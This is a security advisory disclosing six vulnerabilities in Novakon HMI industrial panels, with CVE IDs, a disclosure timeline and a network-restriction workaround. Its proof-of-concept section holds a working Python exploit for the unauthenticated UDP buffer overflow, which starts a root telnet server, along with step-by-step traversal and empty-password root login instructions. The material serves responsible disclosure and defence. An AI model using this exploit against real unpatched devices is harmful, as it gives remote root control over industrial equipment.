< BACK TO THE LIST

Date
21/05/2025

Impact
High

CVE IDs
CVE-2025-9962
CVE-2025-9963
CVE-2025-9964
CVE-2025-9965
CVE-2025-9966

Multiple Vulnerabilities in Novakon HMI Series

The Novakon HMI Series devices are prone to multiple vulnerabilities. These allow an attacker to gain remote code execution, retrieve and manipulate system files and abuse weakly protected services and processes.

Vendor description

“Founded in 2010, Novakon Co., Ltd., a subsidiary of the domestically listed industrial PC manufacturer – iBASE Technology (TPEx: 8050), is a dedicated
Panel PC, HMI (Human-Machine Interface) and IIoT (Industrial Internet of Things) software developer and hardware manufacturer. Our exceptional customized services provide clients with a wide array of software tailormade solutions. As testament to the true value of MIT R&D and manufacture, not only
do we offer customized software and hardware ODM services, but we are also committed to providing the best product functions and services for different

industrial applications. Novakon focuses on long-term R&D investment to reduce the cost of introducing automation measures in addition to meeting the needs of various vertical applications.”

Source: https://www.novakon.com.tw/en/about

Vulnerable versions

P – V2001.A.c518o2

Vulnerability overview

1) Unauthenticated Buffer Overflow (CVE-2025-9962)
A buffer overflow vulnerability exists in the binary PSeriesbiosinterface, which allows unauthenticated attacker to gain remote code execution as root over the network.

2) Directory Traversal via Symlink (CVE-2025-9963)
A directory traversal vulnerability was identified in the file-explorer functionality of the device. An attacker can use this vulnerability to read and write system-wide files and configurations as user “root”.

3) Root User Weak Authentication (CVE-2025-9964)
The root user does not have a configured password. Allowing attacker to login with access to a console to login with an empty string.

4) UDP Service Weak Authentication (CVE-2025-9965)
The service listening on 60681/UDP is responsible for copying applications to the device. As the service does not require authentication, an attacker can upload and download any application from and to the device.

5) Execution with Unnecessary Privileges (CVE-2025-9966)
The processes running on the device run mostly with elevated privileges, which increases the attack surface of the device.

6) Missing Protection Mechanisms
Multiple binaries on the device are missing basic protection mechanisms like stack canaries, pie, and RELRO.

Proof of Concept

1) Unauthenticated Buffer Overflow (CVE-2025-9962)

The service running on 60681/UDP (Pseriesbiosinterface) is vulnerable to a stack based buffer overflow vulnerability. An unauthenticated attacker can exploit this issue to gain remote code execution as root. The following python PoC can be used to start a telnet server on the device.

```
#!/bin/env python3
# fitfrost4 <S.Dietz>
from pwn import *
p = remote(args.IP, 60681, typ='udp')
r6_pos = 112
pc_pos = 136
sp_pos = 576
system_call = 0x0002e728
# 0x000ef2ce (0x000ef2cf): add r0, sp, #0x1b4; bx r6;
buf = flat({
r6_pos: p32(system_call),
pc_pos: p32(0x000ef2cf),
sp_pos: b"/usr/sbin/telnetd &\00"
})
log.info(hexdump(buf))
p.send(buf)
```

The root cause of this issue is the usage of an unchecked size from QUdpSocket::pendingDatagramSize() in client::readDatagram(). The following decomp makes the issue more clear:

```
00058868 while (true)
00058868 this->datagram
0005886c r0_4 = QUdpSocket::hasPendingDatagrams()
0005886c
00058874 if (r0_4 == 0)
00058874 break
00058874
0005883c this->datagram
00058840 uint16_t* size = QUdpSocket::pendingDatagramSize()
00058848 unimplemented {vdup.32 d16, r0}
00058854 unimplemented {vshr.s64 d16, d16, #0x20}
00058858 int16_t* var_10c_1 = &var_fa
```

```
0005885c unimplemented {vmov r2, r3, d16}
00058864 QUdpSocket::readDatagram(this->datagram, &var_f8, &var_8c, size)
```

2) Directory Traversal via Symlink (CVE-2025-9963)

An physical attacker can create an ext2 partition on a flash drive and add a symlink to / in order to abuse the file-explorer feature of the GUI to modify system-wide configuration files.

1. Create and upload an application with iFace Designer.
   The app should contain a button to spawn the file-explorer.
2. Format and create a symlink to "/".
3. Use the copy/paste functionality to modify the filesystem as root.

3) Root User Weak Authentication (CVE-2025-9964)

An attacker with access to a console can login as root with an empty password. We abused this issue by spawning a telnetd instance with 1). However, this can also be exploited by crashing the Pseriesbiosinterface in order to drop to a login prompt directly on the device.

```
am335x-evm login: root
root@am335x-evm:~# cat /etc/shadow
root::16622:0:99999:7:::
daemon:*:16622:0:99999:7:::
bin:*:16622:0:99999:7:::
[...]
```

4) UDP Service Weak Authentication (CVE-2025-9965)

An attacker can upload and download applications to the device without any kind of authentication. We exploited this issue with 2) in order to gain inital foothold onto the device.

1. Install the iFACE Designer
2. Upload or download any application over the network.

5) Execution with Unnecessary Privileges (CVE-2025-9966)

The processes running on the device are executed mostly as root user, increasing the attack surface of the device. If an attacker can exploit any service (e.g by using 1) or 2)) the device is fully compromised. Especially the processes exposed to the user (iFACE_RT and PSeriesbiosinterface) are impacted.

```
root@am335x-evm:~# ps
PID USER VSZ STAT COMMAND
[...]
938 root 2636 S /lib/udev/udevd -d
1215 root 2632 S /lib/udev/udevd -d
1216 root 2632 S /lib/udev/udevd -d
1418 messageb 2352 S /usr/bin/dbus-daemon --system
1436 root 74984 S ./superkon/tools/PSeriesbiosinterface -qws
1441 root 1868 S /sbin/syslogd -n -O /var/log/messages
1444 root 1868 S /sbin/klogd -n
1456 root 1872 S /sbin/getty 38400 tty1
1612 root 2624 S /bin/login
1636 root 165m S {RT} iFACE_RT -qws -display LinuxFb:
```

6) Missing Protection Mechanisms

The exploited binaries are missing basic protection mechanisms like stack canries, PIE and RELRO.

```
$ checksec --file=PSeriesbiosinterface
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
RPATH: b'/opt/qt_arm48_p/lib'
Stripped: No
```

Solution

None.

Workaround

Restrict network access to the device. Disable Ethernet configuration if serial ports are used for PLC communication.

Recommendation

Restrict network access to the device. Disable Ethernet configuration if serial ports are used for PLC communication.

Technology Used

The vulnerabilities were manually verified on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.re).

Contact Timeline

- 21-06-2025: Contacting Novakon for security contact
- 21-05-2025: Asking sales@novakon.com.tw for security contact
- 26-05-2025: Asking sales@novakon.com.tw and sales@novatekcontrols.com for a security contact
- 28-05-2025: Asking Novakon Co., Ltd. via Linkedin for security contact
- 10-06-2025: Contacting Bressner for contact for novakon. Bressner said we should send the findings again as novakon is now informed about the issue.
- 10-06-2025: Sending sales@novakon.com.tw an email again.
- 10-06-2025: Contacting Vincent Shao (Sales Director of Novakon) via LinkedIn for a security contact
- 11-06-2025: Asking Vincent Shao for Updates regarding security contact. Tells us we should send the mail to him directly. We inform him that its critical information and shouldn't be send unencrypted
- 12-06-2025: Send Vincent Shao a password protected link with the information. Notice them about our responsible disclosure policy and the 67 days deadline. Vincent Shao tells us that they do not agree to any

publication.

- 18-06-2025: Asking for update via LinkedIn. No response.
- 05-08-2025: Asking for update via LinkedIn. No response.
- 25-08-2025: Asking for update via LinkedIn. Informing Vincent Shao about the upcoming release if we do not hear from them until the 9th september.

Author(s)

Sebastian Dietz

Sebastian Dietz is a Security Researcher at CyberDanube. His research focuses on digital twins, information security risk assessment and firmware analysis. Currently, he is working on developing the firmware emulation Framework MEDUSA. Sebastian has already proven his technical expertise at various CTFs such as the „Austrian Cyber Security Challenge“, where he has won in his category with an impressive number of points.